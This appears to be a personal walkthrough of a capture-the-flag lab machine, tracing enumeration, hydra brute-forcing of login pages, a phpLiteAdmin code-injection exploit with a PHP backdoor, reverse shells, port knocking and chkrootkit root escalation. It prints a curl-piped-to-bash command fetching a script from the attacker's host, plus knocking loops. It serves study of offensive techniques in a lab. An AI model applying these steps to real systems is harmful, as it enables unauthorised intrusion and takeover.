Tracker

• User
• root  

Loot

Proofs

Passwords

Interesting Artifacts

Summary

OS: Linux

Distribution: ?

Architecture: ?

FQDN: ?

vhosts: ?

Lessons Learned

ALWAYS follow up gobuster autorecon scans with my own 2.3-medium wfuzz scans. I missed the /department resource on tcp/80 because I didn't do this.

Solution

Enumeration

Open Ports

http on tcp/80
Apache httpd 2.4.18

https on tcp/443
Apache httpd 2.4.18

Manual Enumeration

As always, I begin this box by running a quick, full, and top-20 UDP port scan against it.

Looking at the nikto scan results for tcp/80, it appears that this target machine is vulnerable to RFI in /info.php.

\+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake\'s list (<http://ha.ckers.org/weird/rfi-locations.dat>) or from <http://osvdb.org/>

The code from the index.html page looks like this is a default/fresh site, with no specific content.

The gobuster scan found /index.html and info.php.

I decided to try for RCE through the RFI. I copied the simple-backdoor.php file from my usr/share/webshells/php dir to my working dir, then spawned a web server. I saved it as a .txt file so that the php wouldn't try to execute on my host when it was requested by the target.

I grabbed the http request to /info.php, and updated it to a post request with a payload variable, and a route for RFI to my malicious http server/file.

That doesn't seem to have worked.

//BREAK//

Ok, now to look at tcp/443. According to nmap, we have a /db/ folder that is running the BlogWorx database. It also lists the SSL cert, which lists the hostname as nineveh.htb, and the support email as admin@nineveh.htb.

Gobuster only found /index.html and /db.

The index page appears to be just a single static image.

Navigating to the index.html confirms the single static image.

Ok, let's take a look at that /db/ folder. First things first I'll fuzz it. I found index.php.

Ok, now I'll run a bigger wordlist in the background.

Navigating straight to /db/ gives me a login page, along with a Warning message before I tried to post anything to the page.

Navigating straight to /db/index.php gives me the same login page, but there is no warning message.

The only default password I could find on Google was "admin", but that didn't work to log in.

Searchsploit shows multiple vulnerabilities for this web application.

Neither of the exploits seem to be super valuable to me. They're all stuff like XSS or CSRF vulns.

The medium wordlist wfuzz scan found the folder /department. I can trim down the saved output by running "g/31m404 /d" in vim. That removes all lines containing the red colored 404 response in the text.

Navigating to the /department page presents me with another login.

I'll run hydra against both the login pages that I've found so far. I'll use user=admin since that's what I saw on the SSL certificate. First, I submit a post request attempting to log in with junk credentials so I can see what the form names are.

I can see they are username and password, so that is what I pass to my Hydra command. Hydra finds valid credentials pretty quickly!

Logging in to /departments shows me an under construction page.

The notes page mentions fixing the login page since it has hardcoded creds, and checking a "serect" folder to get in. It also exposes another username. There looks to be LFI in the URL here as well.

To check for Apache misconfiguration, I try to see if I can navigate straight to this users home directory. I can't.

I try to exploit the LFI in the URL, but that doesn't work either.

What happens if I drop a few chars off the URL? I get a warning message that tells me the path that I can include files from. Since we can see it's using the include() statement, we know any php inside is executed.

In order to view the php source, I can use the wrapper "php://filter/convert.base64encode/resource=". This doesn't work, file name is too long.

Hydra found the username/password for the phpliteadmin page also!

It works to log in, and I am presented with the admin portal for the sql lite databases.

Now that I have a login to this backend, I can use the exploit I found for phpliteadmin earlier. I can write php code to the database, rename the database to .php, then the php code will be executed.

I enter the cmd.php backdoor from ~/tools/target/web/php/cmd.php in the field box.

I then renamed the database, and ensured the extension was .php.

I couldn't get this to work for a pretty long time. It turned out that the LFI would only work for files that included "ninevehNotes.txt". I had to rename the database to "ninevehNotes.txt.php" in order to get code execution.

Do I have nc? yes.

Can I send back a shell with it? No.

I have PHP, can I use my php-rev-oneliner? Yes.

Do I have user? No.

//BREAK//

The note mentioned hardcoded creds, do I have any interesting files where I landed? I don't think so?

Can I sudo to the user amrois? No requires password. So does sudo -l.

I ran the linux_smart_enum.sh script from memory, using curl to source it, then piping it in to bash.

curl -s http://10.10.14.21/linux_smart_enum.sh | bash /dev/stdin -l 1

Oh, wait. Can I echo my ssh key in? oh, no ssh open though.

Huh, I can access amrois mail though. Ok, I think I need to port knock to get to the ssh port, and yeah echo my key in to authorized keys.

I can't echo my key...

Well. I gave up and was watching ippsecs video on this box. There was a VERY ctf-y method used here. I had to binwalk the image in the secret_notes folder that I found when I was looking near where I landed.

So I download the image off of the web page and run binwalk on it. That showed me that there was a tarball archive embedded in it.

I rerun binwalk with the -Me flag to drop in to each thing it finds, and extract the stuff it finds. Binwalk found an RSA private and public key!

I know I need to port knock to get in because I saw that email, but I'll just try this way real quick. It just hangs forever.

When I run netstat -antup, I can see that tcp/22 is listening on all addresses.

I looked at the iptables firewall rules to see what was going on. It is allowing on 80 and 443, then dropping everything else.

Ah, ok. So watching ippsec clued me in to the fact that a port knocker runs as a service. If I had looked more carefully through the ps -aux output I would have seen it running.

So then, I should take a look at the service. First I run 'locate knockd', and I see a config file at /etc/knockd.

Looking at the conf file, I see that the rule allows the same sequence as I saw in the users mail.

I still don't know how to fucking knock ports though. Come on ippsec, show me how to do this shit.

OH. I have to literally "knock" on the ports, by hitting them. I guess with nc? No, I just use:

for i in 571 290 911; do echo "" > /dev/tcp/10.10.10.43/$i; done

Oh, I can't actually use the loop because the server doesn't close the socket, because the port isnt open or something. I have to hit each port manually. I had to do it in bash, not in zsh also.

I was lied to again? That didn't work. I'll do it with nmap.

for i in 571 290 911; do nmap -Pn -p $i -sT 10.10.10.43; done

Ok, now can I get in? Nope, it's still fucking filtered. Fuck this guy. Maybe we need to add the --host-timeout 201 --max-retries 0 flags to nmap?

That's it!

User Compromise

EoP Enumeration

I reflectively run my enum script again.

curl -s http://10.10.14.24/linux_smart_enum.sh | bash /dev/stdin -l 1

Hm, I can write to some weird directory, /report/, and a .sh file. It looks like it's being executed every 2-3 minutes? At least that's how often there's a new .txt file.

If I watched the process, I would see that a chkrootkit process owned by root was running. Searchsploit indicates that there is a privesc vuln, where it will execute anything in /tmp/update. I added a test to echo whoami to /tmp/test.txt. I had to make the update file executable first, then I saw the test.txt file written.

Now I just need to toss myself back a shell. I used a standard bash reverse shell oneliner.

And I caught a shell!

root Compromise

Next: Arctic